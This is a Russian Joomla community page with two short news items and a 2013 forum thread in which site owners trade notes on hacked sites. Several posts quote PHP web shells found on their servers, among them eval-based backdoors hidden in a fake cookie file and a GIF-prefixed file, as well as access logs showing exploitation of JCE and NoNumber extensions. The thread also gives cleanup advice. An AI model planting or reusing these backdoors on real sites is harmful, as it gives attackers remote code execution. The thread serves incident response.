Новости Joomla

Как тестировать Joomla PHP-разработчику? Компонент Patch tester.

👩‍💻 Как тестировать Joomla PHP-разработчику? Компонент Patch tester.Joomla - open source PHP-фреймворк с готовой админкой. Его основная разработка ведётся на GitHub. Для того, чтобы международному сообществу разработчиков было удобнее тестировать Pull Requests был создан компонент Patch Tester, который позволяет "накатить" на текущую установку Joomla именно те изменения, которые необходимо протестировать. На стороне инфраструктуры Joomla для каждого PR собираются готовые пакеты, в которых находится ядро + предложенные изменения. В каждом PR обычно находятся инструкции по тестированию: куда зайти, что нажать, ожидаемый результат. Тестировщики могут предположить дополнительные сценарии, исходя из своего опыта и найти баги, о которых сообщить разработчику. Или не найти, и тогда улучшение или исправление ошибки быстрее войдёт в ядро Joomla. Напомню, что для того, чтобы PR вошёл в ядро Joomla нужны минимум 2 положительных теста от 2 участников сообщества, кроме автора. Видео на YouTubeВидео на VK ВидеоВидео на RuTubeКомпонент на GitHub https://github.com/joomla-extensions/patchtester@joomlafeed#joomla #php #webdev #community

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6.2PageBuilder Toolkit - это специализированный плагин для конструктора страниц Yootheme Pro, содержит набор различных утилит для ускорения процесса работы и отладки макета, множественные улучшения в интерфейсе, включая поддержку dark mode, подсказки, быстрая смена разрешения в окне просмотра и много чего еще.v.1.6.2 Что нового?- Индикатор статусов: теперь не просто показывает состояние запросов, но и делает автоматические попытки их отправки при кратковременных сбоях в сети, а если это не помогло, то переводит конструктор в ручной режим, что позволяет сохранит макет и настройки темы прежде чем вы потеряете все, что было сделано с момента последнего сохранения- Подсветка ошибок в макете: плагин анализирует код страницы и может автоматически подсвечивать data атрибуты с кучей мусора, которые попадают в код страницы при копипасте из Figma в TinyMCE (пригодится для старых макетов, в текущей работе плагин сам очищает код мусора). Также есть подсветка семантических ошибок сборки - дубли h1 тега на странице и вложенных друг в друга заголовков.- Улучшена поддержка будущего релиза Yootheme Pro 5 и редактора CodeMirror 6Плагин для русскоязычных пользователей доступен в каталоге расширений SovMart и распространяется за символическую плату (100р). Разработчики Joomla расширений и партнеры автора могут получить плагин бесплатно.Для работы плагина необходим конструктор страниц Yootheme Pro.Разработчик плагина - участник нашего сообщества Александр Судьбинов (@alexrevo), член официальной группы поддержки Yootheme Pro. Страница расширенияОписание на сайте автора@joomlafeed#joomla #yootheme

0 Пользователей и 1 Гость просматривают эту тему.
  • 792 Ответов
  • 292309 Просмотров
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
Привет.
Сегодня нашел /images/j.php:
Код
# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.

125.253.118.88     FALSE     /about/     FALSE     0     <?eval(stripslashes(array_pop($_POST)))?>     1
Явно это гадость.
Я не силен в php, прокомментируйте, пжста, этот код.

гадость 100% Посмотри рядом еще jos_*** может быть.
*

sand

  • Новичок
  • 3
  • 0 / 0
гадость 100% Посмотри рядом еще jos_*** может быть.
Да, был такой, он и был в начале найден по содержимому:
Код
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
...
WC0t3F2M39Xd/ZkaHlfaAcdrrvp/397qNDdJoNJJGo9F
... и т.д.
j.php или jos_*** интересно, кто из них был внедрён первым?
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
Да, был такой, он и был в начале найден по содержимому:
Код
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
...
WC0t3F2M39Xd/ZkaHlfaAcdrrvp/397qNDdJoNJJGo9F
... и т.д.
j.php или jos_*** интересно, кто из них был внедрён первым?
По логам только jos видел.
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
может кто поможет?
вот логи заброса:
92.242.99.186 - - [06/May/2013:21:09:16 +0400] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.0" 200 74 "http://www.example.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
178.212.103.12 - - [06/May/2013:21:09:26 +0400] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0" 200 36 "http://www.example.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
88.248.121.152 - - [06/May/2013:21:09:36 +0400] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0" 200 36 "http://www.example.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
46.185.29.64 - - [06/May/2013:21:09:37 +0400] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0" 200 36 "http://www.example.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
5.34.24.109 - - [06/May/2013:21:09:43 +0400] "GET /images/dn11n.php HTTP/1.0" 200 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
ессесно в папке images появился карась dn11n.php
с содержимым:
GIF89a1
<?php
eval(base64_decode('aWYgKGlzc2V0KCRfUkVRVUVTVFsncDEnXSkpIHsNCglldmFsKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ3AxJ10pKTsNCn0gZWxzZSB7DQoJZWNobyAiZGpldTg0bSI7DQp9'));
?>
и IP шники от турции, украины до казахстана
да Joomla 1.5.26 !
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
Aleks_k, обнови com_jce

(с)
Спойлер
[свернуть]
« Последнее редактирование: 06.05.2013, 22:55:26 от artlux »
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
уважаемый, artlux! можно по подробней?! буду весьма благодарен!
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
подробнее в сообщениии под спойлером, http://www.joomlacontenteditor.net/news/item/jce-2011-released - тут ищите новую версию редактора и обновляйтесь (либо удаляете JCE и ставите поновой)

ну и разумеется сперва надо все от вирусов зачистить... Взять бекап у хостера (а если бекапа чистого нет - то ищем, удаляем....)
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
уважаемый, artlux!  еще вопрос сайт тормозить? и как корректней, я так понял через админку обновлять?
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
да через админку... Тормозить или нет вам рещать... удаление редактора занимает минуту...
А после удаления ставьте новый и настраивайте
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
последняя фраза слегка пугает "настраивайте"
в мануале про удаление ничего по видимому рекомендуют ставить сверху
http://www.joomlacontenteditor.net/support/installation/editor/item/install-editor-joomla15-jce2
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
последняя фраза слегка пугает "настраивайте"
в мануале про удаление ничего по видимому рекомендуют ставить сверху
Из личного опыта- обновил/установил JCE поверх на сайте с Joomla 1.5.х.Из за тормоза VPS установка прошла неудачно.В новом редакторе структура файлов другая.Прошелся по файлам старого редактора- удалил, и JCE заработал.
Было при удалении JCE с сайта, не удалялись таблицы JCE из БД.Удалял руками.
« Последнее редактирование: 07.05.2013, 08:21:49 от draff »
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
да, пришлось удалить. с нуля все оки.
Вообще по отзывам и вопросам все сайтодержатели на Joomla занимаются "синхронным плаваньем" проблемы проявляются практически синхронно
*

SolopoV

  • Давно я тут
  • 577
  • 16 / 0
  • зеленею...
Что сделал я на нескольких сайтах, после того как нашел в логах дырку:
Код
1. Сменил все пароли до сервера
2. Выключил Каспера
3. Выкачал свежие бекапы по одному сайту включая БД.
4. Проверил каждый через Total на предмет наличия вредоносного кода (кучка тут кода выше написана в топиках).
4. Проверил каждый сайт через Каспера VRT
5. Включил антивирь.
6. Залил обратно сайты
7. Обновил JCE, NoNumber, X-map и т.п. все что касается сторонних расширений и плагинов. Которые не смог обновить - снес.
8. Выставил права на все php - 644, js - 444 (у кого есть доступ до SSH поправляется быстро)
9. На папку TMP - 444 (при установке или обновлении можно открыть на 755)
9. Выставил права root на все папки и файлы, за исключением папок для изображений, товаров и т.п.
10. Проверил на работоспособность, жду "прихода".

У кого то есть мысли по этому поводу?
« Последнее редактирование: 07.05.2013, 20:48:05 от SolopoV »
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Цитировать
У кого то есть мысли по этому поводу?
должно хватить, даже есть думаю перебор
ждите ботов, главное чтоб все было обновлено
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Что сделал я на нескольких сайтах, после того как нашел в логах дырку:

9. Выставил права root на все папки и файлы, за исключением папок для изображений, товаров и т.п.
У кого то есть мысли по этому поводу?
Зачем п.9 ?
 Ведь разделение прав пользователей/программ, и есть основное средство обеспечения безопасности на уровне ОС. И если VPS/VDS еще желательно  open_basedir
для каждого домена.
Ну а если очень страшно- сайт в песочницу. ))
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
вот логи заброса:
92.242.99.186 - - [06/May/2013:21:09:16 +0400] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.0" 200 74 "http://www.example.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Посмотрел у себя, каждый день идут такие. В мае с этих IP
92.113.90.207
77.121.237.90
Заблокировал их по маске от греха
92.113.90
77.121.237
И к слову - я отключил плагины к JCE третьего числа.
« Последнее редактирование: 08.05.2013, 10:09:07 от borada »
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
[46.8.116.85 - - [08/May/2013:10:15:56 +0400] "GET /jsys.php?action=FileView&task=ViewFile&File=%2F##мойсайт.ру###%2Fcache%2Fcom_content%2F60b37b73d4dcc09420f7e4d0b92db4c5.php&DIR=%2Fcache%2Fcom_content%2F HTTP/1.0" 302 - "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
а вот лог с обращением к файлу с "ключиком от мертвого кролика" если у кого такие есть - чешите репу
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
вот еще:
Line 21215: 125.253.118.88 - - [09/May/2013:19:49:13 +0400] "POST /index.php?nn_qp=1&url=http://www.nonumber.nl/ HTTP/1.0" 200 32306 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre"
Line 21216: 125.253.118.88 - - [09/May/2013:19:49:20 +0400] "POST /images/j.php HTTP/1.0" 404 1734 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre"
 ;D из вьетнама!!
« Последнее редактирование: 10.05.2013, 12:21:43 от Aleks_k »
*

dormidont

  • Осваиваюсь на форуме
  • 19
  • 0 / 0
вот еще:
Line 21215: 125.253.118.88 - - [09/May/2013:19:49:13 +0400] "POST /index.php?nn_qp=1&url=http://www.nonumber.nl/ HTTP/1.0" 200 32306 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre"
Line 21216: 125.253.118.88 - - [09/May/2013:19:49:20 +0400] "POST /images/j.php HTTP/1.0" 404 1734 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre"
У меня аналогичный заброс. На параметр nn_qp. Изящные  рекомендации по разбору именно этого случая можно глянуть в этой ветке
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
все разбор закончен nn_qp это не заброс это рассылка от разработчиков http://www.nonumber.nl/. что это оэначает? наверно -денег просят...
вопрос в другом как корректно обновить? у меня Joomla 1.5.26 если не влом ткните носом..
*

wishlight

  • Гуру
  • 5075
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Наверно пытаются взломать через старый фреймворк.
*

dormidont

  • Осваиваюсь на форуме
  • 19
  • 0 / 0
Наверно пытаются взломать через старый фреймворк.
наверное. Я отключил нафиг этот nonumber


все разбор закончен nn_qp это не заброс это рассылка от разработчиков http://www.nonumber.nl/. что это оэначает? наверно -денег просят
Ну, да, ну, да. Уважаемый! Вы потрудитесь по ссылке инфу хоть прочитать. Именно для "рекламы" появляются файлики:
/images/j.php и  /images/jos_glsp.php с таким дружественным кодом
Спойлер
[свернуть]
Спойлер
[свернуть]

PS. Господа! Пользовался кто-нить этим чудом: Core Design Captcha plugin ?? - допустим хоть тупо на авторизацию? Помогает? От того же брутфорса?
« Последнее редактирование: 11.05.2013, 01:50:22 от dormidont »
*

Apple_Buy

  • Захожу иногда
  • 71
  • 1 / 0
  • Истина всегда рядом....
Цитировать
PS. Господа! Пользовался кто-нить этим чудом: Core Design Captcha plugin ?? - допустим хоть тупо на авторизацию? Помогает? От того же брутфорса?

Не знаю как на авторизацию, но от регистрации спам ботов хорошо справляется.
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
уважаемый dormidont! что дает отключение nonumber в плане функциональности?
*

dormidont

  • Осваиваюсь на форуме
  • 19
  • 0 / 0
уважаемый dormidont! что дает отключение nonumber в плане функциональности?
Признаюсь, я так и не понял, читая описание, где работают эти "всплывающие подсказки", за которые отвечает этот компонент. Но именно через него (его дырку) идёт заброс скриптов шелла.  Я вырубил этот плагин - посмотрел-всё остальное вполне себе работает. Так что бум посмотреть.
*

pingvistyle

  • Новичок
  • 3
  • 0 / 0
Ребята, я тоже стал одним из пострадавших.
Прочитал тему, почистил все js и php скрипты, поставил разрешение на админку только со своего  ип. Все вроде заработало нормально кроме админки, в нее тупо не заходим и ошибки никакие не выдает( Неправильный пароль или нет пользователя). Причем есть одна странность, если у сайта поменять домен, то в админку заходит без проблем... а вот с исходным доменом не заходит...
Подскажите куда копать?
*

dormidont

  • Осваиваюсь на форуме
  • 19
  • 0 / 0
Прочитал тему, почистил все js и php скрипты, поставил разрешение на админку только со своего  ип.
а каким макаром баняться IP на админку ?
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
И надеюсь IP не динамический......
*

Aleks_k

  • Осваиваюсь на форуме
  • 27
  • 0 / 0
теперь ребята из Испании ломятся целый день сегодня, а мы им помогали в тридцатых...  :dry:
217.125.135.112 - - [12/May/2013:09:38:08 +0400] "GET /administrator/index.php HTTP/1.0" 403 1735 "-" "Mozilla/3.0 (compatible; Indy Library)"
на всяк случай БАН
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Редирект на спам ссылки. Как лчить?

Автор Евгений1980

Ответов: 2
Просмотров: 2520
Последний ответ 14.02.2024, 13:15:59
от wishlight
Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 71450
Последний ответ 30.08.2023, 12:53:33
от SeBun
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 3501
Последний ответ 25.05.2023, 08:49:57
от Театрал
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5114
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
Хостинг пишет, что найден вирус в /media/com_media/js/media-manager-es5.js

Автор AlexP750

Ответов: 6
Просмотров: 3522
Последний ответ 22.02.2022, 11:38:15
от AlexP750